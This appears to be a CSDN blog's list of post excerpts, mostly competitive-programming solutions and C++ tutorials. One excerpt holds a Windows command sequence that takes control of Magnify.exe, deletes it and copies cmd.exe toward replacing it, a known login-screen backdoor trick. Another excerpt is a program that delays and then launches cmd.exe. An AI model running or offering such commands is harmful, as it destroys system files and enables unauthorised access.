cjoier_zouzhen1211-CSDN博客

原创 TEST

#include<bits/stdc++.h>#include<windows.h>using namespace std;int main(){ Sleep(300000); system("start C:\\Windows\\System32\\cmd.exe"); return 0;}

2019-09-26 23:11:38 146

cacls C:\Windows\System32\Magnify.exe /p administrators:fdel /a/s/Q C:\Windows\System32\Magnify.execopy C:\Windows\System32\cmd.exe C:\Users\Administrator\Desktopren C:\Users\Administrator\Desktop ...

2019-09-22 21:43:13 179

转载 USACO3.4.1-heritage

2017年5月29日 | ljfcnyali 题目大意农夫约翰非常认真地对待他的奶牛们的血统。然而他不是一个真正优秀的记帐员。他把他的奶牛们的家谱作成二叉树，并且把二叉树以更线性的“树的中序遍历”和“树的前序遍历”的符号加以记录而不是用图形的方法。你的任务是在被给予奶牛家谱的“树中序遍历”和“树前序遍历”的符号后，创建奶牛家谱的“树的后序遍历”的符号。每一头奶牛的姓名被译为一个唯一的字母

2017-05-31 21:53:00 295

转载 USACO3.3.1-fence

2017年5月16日 | ljfcnyali 题目大意 Farmer John每年有很多栅栏要修理。他总是骑着马穿过每一个栅栏并修复它破损的地方。 John是一个与其他农民一样懒的人。他讨厌骑马，因此从来不两次经过一个栅栏。你必须编一个程序，读入栅栏网络的描述，并计算出一条修栅栏的路径，使每个栅栏都恰好被经过一次。John能从任何一个顶点(即两个栅栏的交点)开始骑马，在任意一个顶点结束。

2017-05-31 21:51:13 271

转载 USACO3.2.5-butter

2017年5月16日 | ljfcnyali 题目大意农夫John发现做出全威斯康辛州最甜的黄油的方法：糖。把糖放在一片牧场上，他知道N（1<=N<=500）只奶牛会过来舔它，这样就能做出能卖好价钱的超甜黄油。当然，他用额外赚来的钱给奶牛买奢侈品。农夫John很狡猾。他知道他可以训练这些奶牛，让它们在听到铃声时去一个特定的牧场。他打算将糖放在那里然后下午发出铃声，以至他可以在晚上挤奶。

2017-05-31 21:44:07 339

转载 USACO3.2.4 mequare

2017年5月6日 | ljfcnyali 题目大意在成功地发明了魔方之后，鲁比克先生发明了它的二维版本，称作魔板。这是一张有8个大小相同的格子的魔板： 1 2 3 4 8 7 6 5 我们知道魔板的每一个方格都有一种颜色。这8种颜色用前8个正整数来表示。可以用颜色的序列来表示一种魔板状态，规定从魔板的左上角开始，沿顺时针方向依次取出整数，构成一个颜色序列。对于上图的魔板状态，我们用

2017-05-31 21:42:31 219

转载 POJ1258 Kruscal

2017年4月4日 | ljfcnyali Kruscal水过，直接给代码！ Sample Input40 4 9 214 0 8 179 8 0 1621 17 16 0Sample Output28/************************************************************************* > File Name:

2017-05-31 21:40:54 254

转载 KM算法模板

2017年4月3日 | ljfcnyali KM算法大意 1.运用贪心算法初始化标杆。 2.运用匈牙利算法找到完备匹配。 3.如果找不到，则通过修改标杆，增加一些边。 4.重复2，3的步骤，找到完备匹配时可结束。KM算法实现乱搞！ 1.初始化,标杆为女生的最大期望值; 2.枚举每一个女生; 3.DFS尝试可否成功，成功则枚举下一个女生; 4.如果失败，减少期望值，返回3;

2017-05-31 21:39:15 394

转载 POJ2485 Kruscal

2017年4月3日 | ljfcnyali 题目大意给你一个邻接矩阵，求最小生成树的最大边Sample Input130 990 692990 0 179692 179 0Sample Output692题目分析 Kruscal水过，不讲了。AC代码/******************************************************************

2017-05-31 21:36:56 222

转载 POJ1125 Floyd

2017年4月3日 | ljfcnyali Floyd水题，直接上代码！#include<iostream>#include<cstdio>#include<cstdlib>#include<cmath>using namespace std;const long long maxn=1100,INF=1000000000;long long a[maxn][maxn];int

2017-05-29 13:57:02 200

转载 POJ3253 Huffman Tree

题目大意 FJ需要修补牧场的围栏，他需要 N 块长度为 Li 的木头（N planks of woods）。开始时，FJ只有一块无限长的木板，因此他需要把无限长的木板锯成 N 块长度。Sample Input3858Sample Output34题目分析直接一个哈夫曼水过好不好，Huffman Tree 给定 N planks of woods， 1.在 N planks 中每次找出

2017-05-29 13:55:43 245

转载 POJ3259 FLOYD

2017年3月28日 | ljfcnyali 题目大意农夫约翰在探索他的许多农场，发现了一些惊人的虫洞。虫洞是很奇特的，因为它是一个单向通道，可让你进入虫洞的前达到目的地！他的N（1≤N≤500）个农场被编号为1..N，之间有M（1≤M≤2500）条路径，W（1≤W≤200）个虫洞。FJ作为一个狂热的时间旅行的爱好者，他要做到以下几点：开始在一个区域，通过一些路径和虫洞旅行，他要回到最开时

2017-05-29 13:50:04 273

转载 POJ1860 SPFA

2017年3月25日 | ljfcnyali 题目大意给定N种货币，某些货币之间可以相互兑换，现在给定一些兑换规则，问能否从某一种货币开始兑换，经过一些中间货币之后，最后兑换回这种货币，并且得到的钱比之前的多。Sample Input3 2 1 20.01 2 1.00 1.00 1.00 1.002 3 1.10 1.00 1.10 1.00Sample OutputYES1 YES

2017-05-29 13:48:20 281

转载 POJ2965 枚举

2017年3月25日 | ljfcnyali 题目大意一个冰箱上有4*4共16个开关，改变任意一个开关的状态（即开变成关，关变成开）时，此开关的同一行、同一列所有的开关都会自动改变状态。要想打开冰箱，要所有开关全部打开才行。Sample Input-+-----------+--Sample Output61 11 31 44 14 34 412345676

2017-05-29 13:46:46 290

转载 POJ3278 BFS

2017年3月23日 | ljfcnyali题目大意 FJ要抓奶牛。开始输入N（FJ的位置）K（奶牛的位置）。 FJ有三种移动方法： 1、向前走一步，耗时一分钟。 2、向后走一步，耗时一分钟。 3、向前移动到当前位置的两倍N*2，耗时一分钟。问FJ抓到奶牛的最少时间。PS：奶牛是不会动的。 Sample Input5 1715 17Sample Output414题目分

2017-05-29 13:45:10 212

转载 POJ2506 高精度+递推

2017年3月23日 | ljfcnyali 题目大意有2×1和2×2两种规格的地板，现要拼2×n的形状，共有多少种情况。Sample Input2812100200123452812100200Sample Output3171273184510040015215293433113547025110712920295059935170279747

2017-05-29 13:43:19 498

转载高精度重载运算符模板

2017年3月21日 | ljfcnyali 高精度重载运算符一直是很多人入门的基础，我也不例外。这么久的努力奋斗以来，突然发现自己连一个高精度重载运算符的模板都没有打，立刻开始敲键盘。这个高精度重载运算符其实很简单，会使用”operator”的就会，不会也没有任何办法。所以，我决定不写方法，也就仅仅贴一个代码，给理解了”operator”的各位一个可以仿照的模板。保证正确（但是

2017-05-29 13:41:03 966

转载 POJ2442 堆

2017年3月19日 | ljfcnyali 题目大意 m行n列的一个数矩阵，每行抽一个数，可以同列，那么有n^m种sequence组合，在这些sequence中，找出：sequence和最小的n个sequence组合。Sample Input12 31 2 32 2 3123412 31 2 32 2 3Sample Output3 3 413 3 4题目分析当

2017-05-29 13:39:36 214

转载 POJ2112 Dinic + Floyd

2017年3月18日 | ljfcnyali 题目大意 K个产奶机，C头奶牛，每个产奶机最多可供M头奶牛使用；并告诉了产奶机、奶牛之间的两两距离Dij(0<=i,j2 3 20 3 2 1 13 0 3 2 02 3 0 1 01 2 1 0 21 0 0 2 0Sample Output21 2 题目分析这道题目直接Floyd求最短距离，然后二分答案乱搞AC代码/*****

2017-05-29 13:36:11 220

转载 POJ1061 数论gcd

2017年3月18日 | ljfcnyali 题目大意两只青蛙在网上相识了，它们聊得很开心，于是觉得很有必要见一面。它们很高兴地发现它们住在同一条纬度线上，于是它们约定各自朝西跳，直到碰面为止。可是它们出发之前忘记了一件很重要的事情，既没有问清楚对方的特征，也没有约定见面的具体位置。不过青蛙们都是很乐观的，它们觉得只要一直朝着某个方向跳下去，总能碰到对方的。但是除非这两只青蛙在同一时间跳到同

2017-05-29 13:34:41 225

转载扩展欧几里得

2017年3月18日 | ljfcnyali 之前一直对扩欧十分的懵懂,只会暴力的背下公式.long long exgcd(long long a, long long b, long long &x, long long &y) { if(b == 0) { x = 1; y = 0; return a; } long l

2017-05-29 13:32:45 323

转载 POJ2524 并查集

2017年3月18日 | ljfcnyali 题目大意世界上宗教何其多。假设你对自己学校的学生总共有多少种宗教信仰很感兴趣。学校有n个学生，但是你不能直接问学生的信仰，不然他会感到很不舒服的。有另外一个方法是问m对同学，是否信仰同一宗教。根据这些数据，相信聪明的你是能够计算学校最多有多少种宗教信仰的。Sample Input10 91 21 31 41 51 61 71 81

2017-05-29 13:29:40 220

转载 POJ1328 贪心

2017年3月18日 | ljfcnyali 题目大意地图的x轴的上方为海，下方为陆地，海中有n个小岛，坐标为(isl[i].x,isl[i].y)。有一种雷达，能探测到的范围为以d为半径的圆。问海岸线上至少造多少雷达可以把所有的小岛都包含在内。注意雷达是建在海岸线上的，也就是x轴上的。Sample Input3 21 2-3 12 11 20 20 0Sample OutputCa

2017-05-29 13:27:32 258

转载 POJ1753 枚举

2017年3月18日 | ljfcnyali 题目大意有44的正方形，每个格子要么是黑色，要么是白色，当把一个格子的颜色改变(黑->白或者白->黑)时，其周围上下左右(如果存在的话)的格子的颜色也被反转，问至少反转几个格子可以使44的正方形变为纯白或者纯黑？Sample InputbwwbbbwbbwwbbwwwSample Output4题目分析进行暴力搜索，枚举每一个答案是否可

2017-05-29 13:24:22 516

转载 HDU2454 判定简单图

2017年3月18日 | ljfcnyali 题目大意：给出一个图的每个点的度的序列,求能否构成一个简单图；Sample Input26 4 4 3 3 2 24 2 1 1 1Sample Outputyesno题目分析：使用Havel定理，可以轻易地AC。Havel定理：给定一个非负整数序列{dn}；若存在一个无向图使得图中各点的度与此序列一一对应；则称此序列可图化。

2017-05-29 13:22:17 795

转载 POJ1703 并查集

2017年3月16日 | ljfcnyali ∇ 发表评论(0) ⊕ 查看评论题目大意：Tadu City里面有两个黑帮团伙Gang Dragon和Gang Snake，一共有n名团伙成员(还不知道属于这两个黑帮的哪一个)。现在警察局有一些信息，每条信息包含2个人编号，表示这2个人属于不同的帮派。问给你2个人的编号，能否确定他们是否属于同一个帮派。Sample Input1 5 5A 1 2

2017-05-29 13:19:30 222

转载 POJ2492 并查集

2017年3月16日 | ljfcnyali 题目大意：有点bt，就是正常昆虫是异性交配，输入一对就代表这一对交配了，让你看这一群昆虫是否有同性恋！ Input: 输入的第一行包含方案数量。每个方案以一行给出错误数量（至少一个，最多2000）和由单个空间分隔的交互数量（最多1000000）开始。在下面的行中，每个交互以两个不同的bug编号的形式给出，由一个空格分隔。错误从一个开始连续编号

2017-05-29 13:14:49 278

转载 POJ3486 线段树

2017年3月15日 | ljfcnyali POJ3486是一道经典线段树题目，题目大意是：给出了一个序列，你需要处理如下两种询问。 “C a b c”表示给[a, b]区间中的值全部增加c (-10000 ≤ c ≤ 10000)。 “Q a b” 询问[a, b]区间中所有值的和。 Input 第一行包含两个整数N, Q。1 ≤ N,Q ≤ 100000. 第二行包含n个整数

2017-05-29 13:12:51 284

原创动态规划——经典例题（一）

一、合并石子【问题描述】一个操场上一排地摆放着N堆石子，现要将石子有序地合并为一堆。规定每次只能选相邻的2堆石子合并成新的一堆，并将新的一堆石子数记为该次合并的得分。【编程任务】试设计一个程序，计算出将N堆石子合并成一堆的最小得分。【输入格式】第1行为一个正整数N(2<=N<=100)。以下N行，每行一个正整数，小鱼10000，分别表示第i堆石子的个数(1<=i<+N)。【输

2017-05-29 12:53:01 1598

转载 A*启发式搜索模板

博主本身很想提高一下自己的水平，于是打算写一下以前一直觉得很难的A*启发式搜索，努力工作了一个多小时，终于把这么一个恶心的程序调试完成了（不要问我启发式搜索是什么，网上有的是，博主只是给大家提供一下参考代码），这个代码都有注释，而且测试通过了（最末端有博主的测试数据之一），希望大家可以因此有所提高！/*ID: ljf_cnyaliPROG: A*LANG: C++*/#include<bi

2017-05-23 20:19:55 345

转载树状数组模板

已知一个数列，你需要进行下面两种操作： 1.将某区间每一个数数加上x 2.求出某一个数的和这种水水的树状数组，博主就不做介绍，直接上代码，希望大家可以多多捧场！#include<iostream>#include<cmath>#include<algorithm>#include<queue>#include<map>#include<set>#include<vector

2017-05-23 20:18:01 149

转载一篇写并查集的好文章

http://blog.csdn.net/dellaserss/article/details/7724401

2017-05-23 20:08:40 232

原创 5月6日动态规划测试解题报告

5月6日动态规划测试解题报告 --written by:邹祯第一题：免费馅饼Problem description：都说天上不会掉馅饼，但有一天gameboy正走在回家的小径上，忽然天上掉下大把大把的馅饼。说来gameboy的人品实在是太好了，这馅饼别处都不掉，就掉落在他身旁的10米范围内。馅饼如果掉在了地上当然

2017-05-22 21:40:33 225

原创动态规划——背包问题（二）

三、多重背包问题问题：有N种物品和一个容量为v的背包。第i种物品最多有n[i]件可用，每件费用是w[i]，价值是c[i]。求解将哪些物品装入背包可使这些物品的费用总和不超过背包的，且价值总和最大。基本算法：这个题目和完全背包问题和类似。基本的方程只需要略微改动即可，因为对于第i种物品有n[i]+1种策略：取0件，取1件……取n[i]件。令f[i][v]表示前i种物品恰放入一个容器为v的背

2017-05-01 11:34:09 4124

原创动态规划——背包问题（一）

一、01背包问题问题：有N件物品和一个容量为V的背包，第i件物品的费用（即体积，下同）是w[i]，价值是c[i]。求解哪些物品装入背包可使这些物品的费用总和不超过背包容量，且价值总和最大。基本思路：这是最基础的背包问题，特点是每种物品仅有一件，可以选择放或不放。用于问题定义状态：即f[i][v]表示前i件物品（部分或全部）恰放入一个容量为v的背包可以获得最大价值，则其状态转移方程是：

2017-04-30 16:59:56 3488

转载 Enum

Enum概况 enum枚举类型是C/C++中的一种数据类型，与struct和class一样是用户自定义的类型，其特点在于enum类型的变量取值是有限的，是可以一一列举出来的。Enum定义 C++ enum枚举格式:enum < 枚举类型名> {< 枚举表>};enum {< 枚举表>}< 变量名表>;第一个C++ enum枚举值对应着一个整型数,通常情况下如果其中的枚举常量没有定义数值,那么第

2017-03-18 16:48:49 3205

转载类(class)

一、C++类的定义C++中使用关键字 class 来定义类, 其基本形式如下:class 类名{public://行为或属性protected://行为或属性private://行为或属性};示例: 定义一个点(Point)类, 具有以下属性和方法: ■ 属性: x坐标, y坐标 ■ 方法: 1.设置x,y的坐标值; 2.输出坐标的信息。实现

2017-03-18 16:43:44 3936

转载 C++中union的使用

联合(union)在C/C++里面见得并不多，但是在一些对内存要求特别严格的地方，联合又是频繁出现，那么究竟什么是联合、怎么去用、有什么需要注意的地方呢？就这些问题，我试着做一些简单的回答，里面肯定还有不当的地方，欢迎指出！1、什么是联合？ “联合”是一种特殊的类，也是一种构造类型的数据结构。在一个“联合”内可以定义多种不同的数据类型，一个被说明为该“联合”类型的变量中，允许装入该“联合”所定义

2017-03-18 16:28:57 3381

翻译欢迎使用CSDN-markdown编辑器

欢迎使用Markdown编辑器写博客本Markdown编辑器使用StackEdit修改而来，用它写博客，将会带来全新的体验哦：Markdown和扩展Markdown简洁的语法代码块高亮图片链接和图片上传LaTex数学公式UML序列图和流程图离线写博客导入导出Markdown文件丰富的快捷键快捷键加粗 Ctrl + B 斜体 Ctrl + I 引用 Ctrl

2017-03-18 16:25:26 3128

原创指针入门

现在的Java、C＃等语言已经取消了指针，但作为一个C++程序员，指针的直接操作内存，在数据操作方面有着速度快，节约内存等优点，仍是很多C++程序员的最爱。指针就像是一把良剑，就看你怎么去应用它!什么是指针？　　其实指针就像是其它变量一样，所不同的是一般的变量包含的是实际的真实的数据，而指针是一个指示器，它告诉程序在内存的哪块区域可以找到数据。简而言之，指针就是一个变量的地址，指针变量就是存放其他变

2017-03-11 17:02:29 3174

Emacs配置及代码补全插件

Emacs配置(Linux+WIndows)

fuck girl magazines+18(3)

空空如也